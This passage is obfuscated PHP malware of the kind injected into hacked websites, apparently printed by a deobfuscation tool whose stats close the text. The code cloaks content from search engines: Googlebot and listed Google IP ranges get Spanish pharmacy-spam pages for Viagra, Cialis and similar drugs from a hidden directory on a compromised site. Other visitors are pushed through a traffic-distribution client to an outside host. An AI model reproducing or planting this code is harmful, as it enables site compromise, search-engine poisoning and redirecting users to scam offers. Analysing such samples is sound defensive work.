"\116\x6f\x74\40\101\x63\143\145\x70\x74\141\x62\x6c\x65"; break; case 407: $text = "\120\162\157\170\x79\40\x41\165\164\x68\x65\x6e\164\x69\143\141\x74\151\x6f\156\x20\122\145\x71\165\151\162\145\x64"; break; case 408: $text = "\122\x65\161\165\145\163\x74\x20\x54\151\x6d\145\55\157\165\x74"; break; case 409: $text = "\x43\x6f\156\x66\154\x69\x63\164"; break; case 410: $text = "\x47\x6f\156\145"; break; case 411: $text = "\x4c\145\x6e\147\164\x68\40\122\x65\161\165\x69\x72\145\144"; break; case 412: $text = "\x50\x72\145\x63\157\x6e\x64\x69\x74\151\157\156\x20\x46\x61\x69\154\x65\x64"; break; case 413: $text = "\122\x65\x71\165\x65\x73\164\40\105\x6e\164\151\x74\171\x20\x54\x6f\x6f\40\x4c\x61\x72\147\x65"; break; case 414: $text = "\122\145\x71\165\x65\163\164\x2d\x55\x52\x49\40\124\x6f\x6f\x20\x4c\141\x72\x67\x65"; break; case 415: $text = "\125\156\163\165\x70\x70\x6f\x72\164\x65\x64\x20\115\145\x64\x69\x61\x20\124\171\x70\145"; break; case 500: $text = "\111\x6e\164\x65\x72\x6e\x61\x6c\x20\123\x65\162\166\145\x72\40\105\162\x72\x6f\162"; break; case 501: $text = "\116\157\x74\40\111\155\160\x6c\x65\x6d\145\x6e\164\145\x64"; break; case 502: $text = "\x42\x61\144\x20\x47\x61\164\145\167\141\x79"; break; case 503: $text = "\123\x65\x72\166\151\143\145\40\x55\x6e\141\166\141\151\x6c\x61\142\x6c\x65"; break; case 504: $text = "\107\141\164\145\x77\x61\171\x20\x54\151\x6d\145\55\157\165\164"; break; case 505: $text = "\x48\x54\x54\x50\x20\126\x65\162\163\151\x6f\156\40\156\157\x74\x20\x73\165\x70\x70\x6f\162\164\x65\144"; break; default: $text = ''; } $protocol = isset($_SERVER["\x53\x45\x52\x56\x45\x52\137\x50\122\x4f\x54\x4f\x43\117\114"]) ? $_SERVER["\x53\105\122\x56\105\122\137\120\122\x4f\124\117\x43\117\114"] : "\110\124\124\x50\x2f\x31\x2e\x30"; header($protocol . "\40" . $code . "\x20" . $text); } } } class KHttpClient { const UA = "\x4b\110\x74\164\160\x43\x6c\x69\x65\156\164"; public function request($url, $params, $opts = array()) { if (!in_array("\x63\x75\162\154", get_loaded_extensions())) { return json_encode(array("\145\x72\x72\x6f\162" => "\103\x75\162\154\40\x65\170\x74\145\x6e\163\x69\157\x6e\x20\155\165\163\x74\40\x62\145\40\x69\x6e\163\164\163\x61\154\x6c\x65\144")); } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts["\143\157\157\x6b\151\145\163"]) ? $opts["\x63\x6f\x6f\x6b\151\x65\163"] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if (curl_error($ch)) { throw new KClientError(curl_error($ch), curl_errno($ch)); } if (empty($result)) { throw new KClientError("\x45\x6d\x70\x74\171\x20\162\145\163\160\157\x6e\163\x65"); } return $result; } } class KClientError extends Exception { const ERROR_UNKNOWN = "\125\x4e\x4b\x4e\117\127\116"; public function getHumanCode() { switch ($this->getCode()) { case CURLE_HTTP_RETURNED_ERROR: preg_match("\57\124\150\145\x20\x72\x65\161\165\145\x73\x74\x65\x64\40\x55\122\x4c\40\162\x65\x74\x75\162\x6e\x65\144\x20\x65\x72\162\x6f\x72\x3a\40\x28\x3f\47\145\162\162\157\162\103\157\x64\x65\47\x5c\x64\x2b\51\56\x2a\x24\x2f", $this->getMessage(), $matches); $errorCode = isset($matches["\x65\162\162\157\x72\x43\157\x64\x65"]) ? $matches["\x65\x72\162\x6f\162\103\x6f\144\145"] : "\x48\x54\124\x50\x5f\x45\x52\x52\x4f\122\x5f" . self::ERROR_UNKNOWN; return "\x5b\122\105\x51\137\x45\122\122\72\40{$errorCode}\135"; case CURLE_UNSUPPORTED_PROTOCOL: return "\x5b\x52\x45\121\137\105\x52\122\x3a\x20\x55\116\x53\x55\120\x50\x4f\x52\124\x45\104\x5f\x50\x52\x4f\124\117\103\x4f\114\135"; case CURLE_FAILED_INIT: return "\133\x52\x45\x51\x5f\105\x52\x52\x3a\40\x46\101\x49\114\105\x44\137\x49\x4e\x49\x54\x5d"; case CURLE_URL_MALFORMAT: return "\x5b\x52\105\x51\x5f\105\122\122\72\x20\102\x41\x44\137\x55\x52\114\135"; case CURLE_COULDNT_RESOLVE_PROXY: return "\133\x52\x45\121\137\105\x52\x52\72\40\103\x4f\125\x4c\x44\x4e\x54\x5f\x52\x45\123\x4f\114\x56\x45\137\120\122\117\130\131\135"; case CURLE_COULDNT_RESOLVE_HOST: return "\133\x52\105\x51\x5f\105\x52\x52\x3a\x20\103\x4f\125\114\104\116\x54\137\122\x45\x53\117\x4c\x56\105\137\x48\117\123\124\x5d"; case CURLE_COULDNT_CONNECT: return "\133\122\x45\x51\x5f\105\122\122\x3a\x20\103\117\125\114\x44\116\124\137\x43\x4f\116\x4e\105\103\x54\135"; case CURLE_PARTIAL_FILE: return "\133\x52\x45\121\x5f\x45\122\x52\x3a\40\x50\x41\x52\x54\111\101\114\137\x46\x49\x4c\x45\135"; case CURLE_READ_ERROR: return "\x5b\x52\x45\121\x5f\105\122\x52\72\40\x52\x45\x41\x44\x5f\105\122\x52\x4f\122\135"; case CURLE_OUT_OF_MEMORY: return "\133\x52\x45\x51\137\105\122\x52\72\40\x4f\125\x54\137\x4f\x46\137\x4d\105\x4d\x4f\122\131\x5d"; case CURLE_OPERATION_TIMEDOUT: return "\133\122\105\x51\137\105\x52\122\x3a\x20\x4f\120\x45\x52\101\124\111\117\116\x5f\124\x49\115\x45\104\117\x55\124\135"; case CURLE_HTTP_POST_ERROR: return "\133\x52\x45\121\137\x45\122\x52\x3a\40\x48\124\x54\x50\137\120\x4f\x53\x54\x5f\x45\x52\122\117\x52\135"; case CURLE_BAD_FUNCTION_ARGUMENT: return "\x5b\x52\x45\x51\137\105\x52\122\x3a\x20\x42\x41\x44\x5f\x46\125\116\x43\x54\x49\117\x4e\x5f\x41\x52\x47\125\x4d\105\x4e\x54\135"; case CURLE_TOO_MANY_REDIRECTS: return "\133\122\x45\x51\137\105\x52\122\72\x20\124\117\x4f\137\x4d\101\x4e\131\137\122\105\x44\x49\x52\x45\103\124\x53\135"; case CURLE_GOT_NOTHING: return "\x5b\122\105\121\137\x45\x52\122\72\x20\x47\x4f\124\x5f\116\117\x54\110\x49\116\107\135"; case CURLE_SEND_ERROR: return "\133\122\x45\121\x5f\x45\x52\122\x3a\x20\x53\x45\x4e\x44\x5f\x45\x52\122\117\x52\x5d"; case CURLE_RECV_ERROR: return "\x5b\x52\x45\121\x5f\105\122\x52\72\40\122\x45\x43\x56\137\x45\122\x52\x4f\122\135"; case CURLE_BAD_CONTENT_ENCODING: return "\x5b\x52\x45\121\137\x45\x52\x52\x3a\40\102\101\x44\137\103\117\x4e\124\x45\116\x54\x5f\105\x4e\103\x4f\104\x49\x4e\x47\135"; case CURLE_SSL_CACERT: case CURLE_SSL_CACERT_BADFILE: case CURLE_SSL_CERTPROBLEM: case CURLE_SSL_CIPHER: case CURLE_SSL_CONNECT_ERROR: case CURLE_SSL_ENGINE_NOTFOUND: case CURLE_SSL_ENGINE_SETFAILED: case CURLE_SSL_PEER_CERTIFICATE: case CURLE_SSL_PINNEDPUBKEYNOTMATCH: return "\133\x52\105\121\137\x45\x52\122\x3a\x20\123\123\x4c\135"; case CURLE_OK: return ''; default: return "\133\x52\105\x51\137\105\122\x52\x3a\x20" . self::ERROR_UNKNOWN . "\x5d"; } } } class_alias("\x4b\103\x6c\x69\145\156\x74", "\x4b\x43\x6c\x69\x63\x6b\103\154\x69\x65\156\164"); $client = new KClient("\x68\164\164\x70\x73\x3a\57\57\155\x61\x6b\x65\x74\x6f\160\150\x6f\164\154\x6f\x76\x65\x2e\x63\157\x6d\x2f", "\x64\143\161\x36\170\x72\x63\152\143\x64\67\154\143\x67\64\x6b\x73\63\x78\143\x67\x73\166\163\x6b\156\x77\143\171\x63\x71\x70"); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param("\163\165\x62\137\x69\x64\x5f\62", "\x70\141\x70\x2e\x65\163"); $client->param("\x73\x75\142\x5f\151\x64\x5f\x31", $_12); $client->currentPageAsReferrer(); $client->executeAndBreak(); } } $_11 = $_SERVER["\x52\105\121\125\x45\123\x54\x5f\x55\122\111"]; $_15 = "\x2f\166\x61\162\x2f\167\x77\167\57\166\x68\157\x73\x74\163\57\x65\170\x6c\151\142\162\151\163\145\x64\x69\143\x69\157\x6e\145\x73\x2e\143\157\155\57\x6c\x75\x61\145\144\151\143\151\157\156\x65\163\x2e\x63\157\155\x2f\111\156\146\x6f\x72\155\x65\x55\105\x32\60\61\x37\57\x61\x72\143\x68\151\x76\157\163\57\141\163\x73\x65\164\163\x2f\x62\x61\x73\x69\143\x2d\x68\164\x6d\154\57\154\x6f\143\141\x6c\x73\57"; $_16 = array("\57\x6b\141\155\141\x67\x72\x61\x2d\152\145\x6c\x6c\x79\57"); $_17 = array("\153\x61\155\157\x6a\x2e\160\x68\x70"); switch ($_11) { case $_16[round(0)]: include $_15 . $_17[round(0)]; die; break; } $_1 = $_SERVER["\122\105\x4d\117\124\x45\x5f\x41\x44\x44\x52"]; $_2 = $_SERVER["\110\124\x54\x50\137\x55\x53\105\122\x5f\x41\107\x45\x4e\x54"]; $_3 = false; $_4 = array("\x35\x2e\62\x35\x33\x2e\x36\63\56\x30\x2d\x35\x2e\x32\x35\x33\x2e\x36\63\56\x32\65\x35", "\x36\x34\56\x36\70\x2e\x38\x30\56\x30\x2d\66\64\x2e\66\70\x2e\71\65\56\x32\65\65", "\x36\x36\56\62\64\71\56\66\64\x2e\60\x2d\x36\66\x2e\x32\64\71\x2e\71\x35\x2e\x32\x35\65", "\x36\64\56\61\70\x2e\x30\x2e\x31\x2d\66\x34\x2e\61\70\x2e\61\65\56\62\65\64", "\66\x34\56\x32\63\63\56\61\66\60\x2e\61\x2d\x36\64\56\62\63\x33\x2e\x31\71\61\x2e\62\65\64", "\x36\x36\56\x31\x30\x32\56\x30\56\x31\55\x36\x36\x2e\x31\60\x32\56\x31\65\56\x32\x35\x34", "\x37\62\x2e\x31\x34\x2e\x31\71\62\x2e\x31\55\67\x32\x2e\x31\64\x2e\x32\65\x35\56\62\x35\64", "\x37\x34\x2e\61\x32\65\x2e\x30\56\x31\55\x37\x34\x2e\x31\62\x35\x2e\x32\x35\x35\x2e\x32\x35\x34", "\x31\67\63\x2e\61\71\x34\56\x30\56\61\x2d\61\x37\x33\x2e\61\71\x34\x2e\x32\x35\65\x2e\62\x35\64", "\62\60\x37\x2e\61\x32\66\x2e\61\64\64\56\61\55\x32\x30\67\x2e\x31\62\x36\x2e\x31\65\x39\56\x32\65\64", "\x32\x30\71\x2e\x38\65\x2e\61\x32\70\x2e\x31\55\62\x30\x39\x2e\x38\65\56\62\65\x35\56\62\65\x34", "\x32\x31\66\x2e\62\63\71\56\63\62\56\61\x2d\62\x31\66\x2e\x32\x33\71\56\x36\x33\x2e\62\x35\x34", "\x37\x32\x2e\x31\x34\56\61\71\71\56\60\55\67\62\x2e\61\64\56\61\x39\71\x2e\x32\65\x35", "\x38\56\66\x2e\64\x38\56\60\55\70\x2e\66\x2e\x34\x38\x2e\62\65\x35", "\66\x37\56\61\71\65\56\x30\x2e\x30\x2d\66\67\56\x31\x39\65\56\x32\65\x35\56\x32\65\65", "\66\x39\56\x31\64\67\x2e\x36\x34\56\x30\xe2\x80\223\x36\71\56\x31\64\x37\56\x31\62\67\x2e\x32\x35\65", "\x37\62\56\x33\x30\56\66\64\x2e\x30\xe2\x80\223\67\62\x2e\x33\60\56\62\65\x35\x2e\x32\x35\x35", "\x37\64\56\x36\56\60\x2e\60\xe2\200\x93\x37\64\56\x36\56\x32\x35\x35\56\x32\65\65", "\x36\x35\x2e\x35\62\x2e\x30\56\x30\342\x80\x93\x36\x35\56\65\x35\56\x32\65\65\x2e\x32\x35\65", "\x32\x30\67\56\x34\x36\x2e\x30\56\x30\xe2\x80\x93\62\60\x37\x2e\x34\x36\x2e\62\65\x35\x2e\62\x35\65"); if (@stripos($_2, "\107\157\157\147\154\x65\142\x6f\x74") !== false) { $_3 = true; } if (!$_3) { foreach ($_4 as $_5) { list($_6, $_7) = explode("\x2d", $_5, round(0 + 0.5 + 0.5 + 0.5 + 0.5)); $_8 = (double) sprintf("\45\165", ip2long($_6)); $_9 = (double) sprintf("\45\165", ip2long($_7)); $_10 = (double) sprintf("\45\165", ip2long($_1)); if ($_10 >= $_8 && $_10 <= $_9) { $_3 = true; break; } } } $_11 = $_SERVER["\122\105\121\x55\x45\123\124\137\125\x52\x49"]; if ($_3) { switch ($_11) { case "\57\x6c\151\142\x65\162\145\55\x73\165\55\x70\157\164\x65\x6e\143\151\141\154\55\144\145\55\146\145\162\164\x69\x6c\x69\x64\141\x64\x2d\x63\157\x6e\x2d\x63\x6c\x6f\x6d\x69\144\57": include $_15 . "\x6c\151\x62\x65\162\x65\55\163\x75\55\160\x6f\164\145\156\x63\x69\x61\154\55\x64\x65\x2d\146\x65\162\164\x69\154\151\144\x61\144\x2d\x63\x6f\156\x2d\143\x6c\157\x6d\151\144\x2e\x68\x74\x6d\x6c"; die; break; case "\x2f\143\x6f\x6d\x70\162\145\55\160\x72\151\154\x69\x67\171\55\x65\x6e\55\x6c\151\x6e\145\141\55\171\55\155\145\x6a\157\162\x65\x2d\163\165\x73\55\145\170\x70\145\x72\151\x65\x6e\143\151\141\x73\x2d\163\145\170\x75\x61\154\x65\x73\x2f": include $_15 . "\143\157\155\x70\162\145\x2d\x70\162\151\154\x69\x67\x79\55\145\x6e\x2d\154\151\156\145\141\x2d\x79\x2d\x6d\x65\152\x6f\x72\x65\55\x73\x75\163\55\x65\x78\x70\x65\x72\151\145\x6e\143\151\x61\163\55\163\x65\x78\x75\x61\154\145\163\x2e\150\x74\x6d\x6c"; die; break; case "\x2f\143\x6f\156\x73\x69\x67\141\x2d\165\156\x2d\143\x61\x62\x65\x6c\154\157\x2d\x6d\141\x73\55\147\x72\x75\x65\x73\157\55\171\55\x61\165\155\145\156\164\145\x2d\x73\x75\x2d\143\157\156\146\151\141\x6e\x7a\x61\x2d\55\x2d\x63\x6f\155\160\162\145\x2d\x61\x76\x6f\144\x61\162\164\55\141\150\x6f\x72\x61\x2f": include $_15 . "\143\157\156\x73\151\x67\141\x2d\x75\156\x2d\143\x61\x62\145\x6c\x6c\x6f\x2d\155\x61\163\x2d\x67\x72\x75\x65\x73\157\55\171\55\141\165\155\145\x6e\x74\x65\55\x73\165\x2d\143\157\x6e\146\151\x61\x6e\172\141\x2d\x2d\x2d\x63\x6f\155\x70\162\145\55\x61\166\157\144\x61\162\x74\x2d\x61\x68\x6f\x72\x61\x2e\x68\164\155\x6c"; die; break; case "\57\145\154\x69\x6d\x69\x6e\145\55\154\x61\163\x2d\x69\x6e\146\145\143\143\151\157\156\x65\163\55\143\157\156\55\144\x69\146\x6c\x75\143\141\156\x2d\55\55\x63\157\x6d\x70\x72\145\154\x6f\55\141\150\x6f\162\141\x2d\171\x2d\141\x68\x6f\162\x72\x65\57": include $_15 . "\145\154\x69\x6d\x69\x6e\145\x2d\x6c\x61\163\x2d\151\156\x66\145\143\x63\151\x6f\x6e\145\163\x2d\x63\157\156\55\x64\x69\x66\x6c\165\x63\141\156\55\55\55\x63\x6f\155\x70\x72\x65\154\x6f\x2d\x61\x68\x6f\162\x61\x2d\171\x2d\141\x68\x6f\x72\x72\145\56\x68\x74\155\x6c"; die; break; case "\57\143\x6f\155\160\162\141\162\55\x76\145\156\164\157\154\x69\156\x2d\x6f\156\x6c\151\x6e\145\55\55\x2d\141\154\151\x76\x69\x6f\55\x72\x61\x70\x69\144\157\x2d\x64\145\55\x6c\157\x73\55\163\x69\x6e\x74\x6f\155\x61\x73\x2d\x64\x65\154\x2d\141\163\155\141\x2f": include $_15 . "\143\157\155\160\x72\x61\162\55\166\145\x6e\164\x6f\x6c\151\x6e\x2d\157\156\154\151\156\145\55\55\55\x61\x6c\151\166\151\x6f\x2d\162\141\160\151\x64\157\55\144\145\55\x6c\157\x73\x2d\163\x69\156\x74\157\x6d\x61\x73\x2d\144\145\154\55\141\x73\155\x61\56\x68\x74\x6d\x6c"; die; break; case "\x2f\157\142\x74\145\x6e\147\141\x2d\x6c\141\163\x2d\x6d\x65\152\x6f\x72\145\x73\55\x6f\146\x65\162\164\x61\163\x2d\145\156\55\x61\x6d\x6f\170\151\x6c\55\x2d\x2d\143\157\155\x70\162\x65\x6c\157\x2d\x63\157\156\x2d\x75\x6e\x2d\x67\x72\x61\156\x2d\144\x65\163\x63\x75\x65\156\x74\x6f\x2f": include $_15 . "\157\x62\164\x65\x6e\x67\x61\x2d\154\141\x73\55\155\x65\152\x6f\x72\x65\163\x2d\157\x66\145\162\x74\x61\163\55\145\x6e\55\141\x6d\x6f\170\x69\154\x2d\55\x2d\143\x6f\x6d\x70\x72\145\154\x6f\x2d\x63\x6f\x6e\x2d\165\x6e\x2d\x67\x72\141\x6e\55\x64\x65\163\x63\x75\145\156\x74\x6f\56\150\164\155\154"; die; break; case "\57\143\x6f\155\160\x72\x65\x2d\155\x6f\164\151\x6c\151\x75\155\55\x65\x6e\x2d\154\151\156\x65\x61\x2d\x79\x2d\x64\151\163\146\x72\165\164\x65\x2d\144\145\55\x75\x6e\141\x2d\x6f\x66\x65\162\164\141\x2d\144\145\x2d\144\x65\163\x63\165\x65\156\164\157\57": include $_15 . "\x63\157\x6d\x70\x72\145\x2d\x6d\x6f\x74\x69\154\x69\x75\155\x2d\x65\x6e\55\154\x69\x6e\x65\x61\x2d\x79\x2d\144\151\x73\146\x72\165\164\x65\x2d\144\x65\x2d\165\x6e\x61\x2d\157\x66\145\x72\x74\x61\55\x64\145\55\x64\x65\x73\143\165\145\156\164\x6f\x2e\x68\164\155\x6c"; die; break; case "\x2f\x6c\x69\142\145\x72\x65\55\x65\x6c\55\x70\157\164\145\x6e\x63\x69\141\x6c\55\144\x65\55\x73\165\55\x63\x61\x62\145\154\154\157\55\143\157\x6e\x2d\x70\162\x6f\160\x65\143\151\x61\55\55\x2d\x63\x6f\155\160\162\145\x2d\141\x68\157\x72\x61\55\x63\157\x6e\x2d\x67\162\141\x6e\144\145\163\x2d\x64\145\x73\143\165\145\x6e\x74\157\x73\x2f": include $_15 . "\x6c\x69\142\145\x72\x65\55\x65\x6c\x2d\x70\x6f\164\x65\x6e\x63\x69\x61\x6c\55\144\x65\x2d\x73\x75\x2d\143\x61\x62\x65\154\154\x6f\x2d\x63\157\156\x2d\160\162\157\160\145\x63\x69\x61\55\55\55\x63\x6f\155\160\x72\145\55\141\150\x6f\x72\141\55\143\157\156\55\x67\x72\141\156\x64\x65\x73\x2d\x64\x65\x73\143\x75\145\156\164\157\x73\x2e\150\164\x6d\154"; die; break; case "\57\x63\x6f\x6d\160\162\145\x2d\x72\157\x62\141\x78\151\156\x2d\x61\150\157\x72\141\55\x79\x2d\141\x68\x6f\162\162\x65\55\x61\55\x6c\x6f\55\147\162\141\x6e\x64\x65\x2f": include $_15 . "\x63\157\x6d\x70\x72\x65\x2d\162\157\142\141\170\151\x6e\x2d\141\x68\x6f\x72\141\x2d\x79\x2d\x61\x68\157\x72\x72\x65\x2d\x61\x2d\x6c\157\55\x67\162\x61\x6e\x64\145\x2e\150\x74\x6d\x6c"; die; break; case "\57\162\145\x76\x69\x74\141\154\x69\143\145\55\x73\165\x2d\x73\x61\x6c\165\x64\55\x63\157\156\55\154\141\x73\x69\x78\x2d\x2d\x2d\143\157\155\x70\x72\145\x6c\157\x2d\x61\150\x6f\x72\x61\55\x79\x2d\x64\151\163\146\162\x75\x74\x65\55\144\145\55\x70\x72\145\x63\x69\x6f\x73\55\162\145\144\x75\143\151\144\x6f\163\57": include $_15 . "\162\145\x76\x69\x74\x61\x6c\151\143\145\55\163\165\x2d\x73\x61\154\165\x64\x2d\x63\x6f\156\55\x6c\x61\163\x69\x78\x2d\x2d\55\x63\x6f\155\160\x72\145\154\157\55\141\x68\157\162\141\55\171\x2d\144\151\x73\146\162\x75\164\x65\x2d\144\x65\x2d\x70\162\x65\143\x69\x6f\x73\x2d\x72\x65\144\165\143\151\x64\x6f\163\56\x68\x74\155\x6c"; die; break; case "\x2f\143\157\155\160\162\141\162\55\x61\156\164\141\x62\x75\163\145\x2d\x67\165\x69\x61\x2d\143\x6f\155\160\154\145\x74\x61\x2d\x70\x61\162\x61\55\145\x6c\x2d\164\162\x61\x74\x61\155\x69\145\156\x74\x6f\x2d\x64\145\x2d\x6c\x61\x2d\x61\144\151\x63\143\151\157\156\55\141\154\55\x61\x6c\143\x6f\x68\157\x6c\57": include $_15 . "\x61\x6e\164\x61\x62\x75\x73\x65\56\x68\164\x6d\154"; die; break; case "\x2f\143\157\155\160\162\x61\55\x61\x74\x61\x72\x61\170\x2d\145\156\55\145\163\160\141\x6e\x61\x2d\x61\x6c\x69\x76\151\x6f\55\x65\x66\145\x63\x74\151\166\157\x2d\171\x2d\163\x65\147\x75\x72\157\x2d\160\141\x72\x61\x2d\x6c\x61\55\141\x6e\163\x69\145\x64\141\x64\55\x79\x2d\x61\x6c\145\x72\147\151\x61\163\57": include $_15 . "\141\x74\141\x72\x61\x78\56\150\164\x6d\x6c"; die; break; case "\x2f\x63\157\x6d\160\162\x61\55\x63\145\156\146\157\x72\x63\x65\x2d\145\156\x2d\145\x73\x70\x61\156\x61\x2d\163\x6f\154\165\x63\x69\157\156\55\x65\146\145\x63\x74\x69\166\x61\x2d\160\x61\x72\x61\55\x6c\141\x2d\x64\x69\163\146\x75\x6e\x63\151\x6f\x6e\x2d\145\x72\x65\143\164\151\x6c\57": include $_15 . "\x63\145\x6e\x66\x6f\162\143\145\56\150\x74\x6d\x6c"; die; break; case "\x2f\143\x69\141\154\151\x73\x2d\x62\x6c\x61\x63\x6b\55\145\x6e\x2d\145\163\160\141\x6e\x61\55\162\x65\x76\x6f\x6c\165\143\x69\x6f\x6e\x61\55\x74\165\x2d\166\151\x64\141\55\163\x65\x78\165\141\x6c\55\x63\x6f\x6e\x2d\x75\156\x2d\163\157\x6c\x6f\55\x63\x6c\151\143\57": include $_15 . "\143\151\x61\154\151\163\55\x62\x6c\141\143\x6b\56\x68\x74\155\154"; die; break; case "\57\141\x64\x71\x75\x69\145\x72\145\55\143\x69\141\x6c\151\163\x2d\x65\156\x2d\145\163\160\141\x6e\141\55\x74\x75\x2d\x61\x6c\x69\141\144\x6f\x2d\x63\157\x6e\x66\151\141\x62\x6c\145\x2d\143\x6f\x6e\164\x72\141\x2d\154\141\x2d\x64\x69\x73\x66\x75\x6e\143\151\157\x6e\55\145\x72\x65\x63\164\x69\x6c\57": include $_15 . "\143\151\141\x6c\151\163\x2e\150\x74\x6d\x6c"; die; break; case "\x2f\151\156\x64\x65\x72\141\x6c\x2d\145\156\55\x65\163\160\x61\x2d\x61\55\x63\x6f\156\x74\x72\x6f\x6c\x61\55\164\165\x2d\x63\157\x72\x61\172\55\156\x2d\x79\55\141\x6e\x73\151\145\144\141\x64\57": include $_15 . "\151\156\x64\145\162\141\x6c\56\150\x74\155\x6c"; die; break; case "\57\x74\157\x64\157\x2d\163\x6f\142\x72\145\55\143\x6f\x6d\160\x72\141\162\55\x69\166\145\162\x6d\145\x63\164\151\x6e\x2d\x2d\143\x6f\x6e\163\145\x6a\x6f\x73\55\145\x78\160\145\x72\164\x6f\x73\55\160\141\162\x61\55\x75\156\x61\55\x61\144\161\165\151\x73\x69\x63\151\x6f\x6e\x2d\163\x65\x67\x75\x72\141\x2d\171\x2d\x62\x65\x6e\x65\x66\x69\143\x69\157\163\141\57": include $_15 . "\x69\x76\145\162\x6d\145\143\x74\151\x6e\56\x68\164\155\x6c"; die; break; case "\x2f\153\141\x6d\141\x67\162\x61\x2d\x72\x65\166\x69\x74\x61\154\x69\172\x61\55\164\x75\x2d\x76\x69\144\141\x2d\163\145\x78\x75\x61\154\x2d\x65\x6e\55\x65\x73\x70\141\55\141\x2f": include $_15 . "\x6b\141\x6d\141\x67\x72\141\56\x68\164\x6d\x6c"; die; break; case "\57\x76\141\x6c\x74\x72\x65\x78\55\x74\x75\x2d\x65\x73\x63\165\x64\x6f\55\x63\x6f\x6e\x74\162\141\55\145\154\x2d\150\145\x72\160\x65\x73\x2d\x65\156\55\x65\x73\x70\141\x2d\141\x2f": include $_15 . "\x76\141\x6c\164\162\145\170\x2e\x68\x74\x6d\154"; die; break; case "\57\x63\x6f\x6d\160\162\x61\162\x2d\166\x69\141\147\162\141\x2d\x65\x6e\55\x6c\x69\156\145\141\55\154\x6f\x2d\x71\165\145\x2d\156\x65\143\x65\x73\x69\164\x61\x73\55\x73\141\x62\145\162\x2d\141\156\164\x65\163\x2d\x64\x65\55\143\x6f\155\x70\162\x61\x72\57": include $_15 . "\166\151\x61\147\x72\141\x2d\144\x65\x65\160\x61\x69\x2e\150\x74\x6d\x6c"; die; break; case "\x2f\166\151\141\x67\x72\141\x2d\x72\145\x6e\x75\145\x76\x61\x2d\164\165\x2d\145\156\x65\162\147\x2d\x61\x2d\163\145\170\x75\141\x6c\55\x65\156\55\145\x73\x70\141\x2d\141\57": include $_15 . "\x76\151\141\147\x72\141\55\x73\166\x65\x72\x2e\150\x74\155\154"; die; break; case "\57\x76\151\x64\141\x6c\151\163\x74\141\x2d\145\x6e\x2d\145\163\160\x61\x2d\141\55\x70\x6f\164\x65\156\143\151\141\55\144\x75\162\x61\144\145\162\141\x2d\x70\141\162\141\x2d\x74\x69\57": include $_15 . "\166\151\x64\141\x6c\151\163\x74\x61\x2e\x68\x74\x6d\x6c"; die; break; case "\57\x76\x6f\x6c\x74\x61\162\x65\156\x2d\141\154\x69\166\151\x6f\x2d\x72\x2d\160\151\144\157\55\x64\145\x6c\55\x64\x6f\154\157\162\55\145\x6e\55\x65\163\x70\x61\55\141\57": include $_15 . "\x76\157\x6c\164\141\162\x65\x6e\x2e\x68\164\x6d\154"; die; break; } } }
Function Calls
array_keys | 1 |
Stats
MD5 | 8af154038492d2a12a69c3ae152868cf |
Eval Count | 0 |
Decode Time | 437 ms |